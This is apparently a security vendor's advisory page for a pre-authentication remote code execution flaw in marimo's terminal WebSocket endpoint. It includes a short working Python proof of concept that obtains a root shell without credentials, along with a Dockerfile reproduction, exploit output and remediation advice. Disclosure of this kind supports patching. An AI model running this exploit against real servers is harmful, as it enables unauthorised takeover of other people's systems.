🛡️ CVE-2026-39987 — marimo

🔴 CVSS 9.5 — Critical ⚠️ Exploit Public CWE-306 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

```python

@router.websocket("/ws")

async def websocket_endpoint(websocket: WebSocket) -> None:

app_state = AppState(websocket)

if app_state.mode != SessionMode.EDIT:

await websocket.close(...)

return

if not supports_terminal():

await websocket.close(...)

return

# No authentication check!

await websocket.accept() # Accepts connection directly

# ...

child_pid, fd = pty.fork() # Creates PTY shell

```

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

```python

@router.websocket("/ws")

async def websocket_endpoint(websocket: WebSocket) -> None:

app_state = AppState(websocket)

validator = WebSocketConnectionValidator(websocket, app_state)

if not await validator.validate_auth(): # Correct auth check

return

```

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)

2. websocket.accept() accepts the connection directly

3. pty.fork() creates a PTY child process

4. Full interactive shell with arbitrary command execution

5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

```python

import websocket

import time

# Connect without any authentication

ws = websocket.WebSocket()

ws.connect('ws://TARGET:2718/terminal/ws')

time.sleep(2)

# Drain initial output

try:

while True:

ws.settimeout(1)

ws.recv()

except:

pass

# Execute arbitrary command

ws.settimeout(10)

ws.send('id\n')

time.sleep(2)

print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)

ws.close()

```

Reproduction Environment

```dockerfile

FROM python:3.12-slim

RUN pip install --no-cache-dir marimo==0.20.4

RUN mkdir -p /app/notebooks

RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py

WORKDIR /app/notebooks

EXPOSE 2718

CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

```

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

```

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"

[+] No auth needed! Terminal WebSocket connected

[+] Output:

uid=0(root) gid=0(root) groups=0(root)

root

ddfc452129c3

```

Suggested Remediation

1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()

2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints

3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-39987 is classified as CWE-306: Missing Authentication for Critical Function. A sensitive function can be reached without authenticating at all.

Affected software

CVE-2026-39987 is recorded against 1 package.

  • marimo (fixed in 0.23.0)

Timeline and source

Published on 8 April 2026 and last revised on 1 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
www.cisa.gov (Web)
www.cisa.gov (Web)
www.sysdig.com (Web)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-306
Public Exploit ⚠️ Yes
Source OSV
Published 2026-04-08
Updated 2026-08-12
Modified 2026-07-01

Affected Packages

Software From version Fixed in
marimo 0.23.0

Similar Threats

Exploit Protection

Are you running marimo?

CVE-2026-39987 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-39987 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.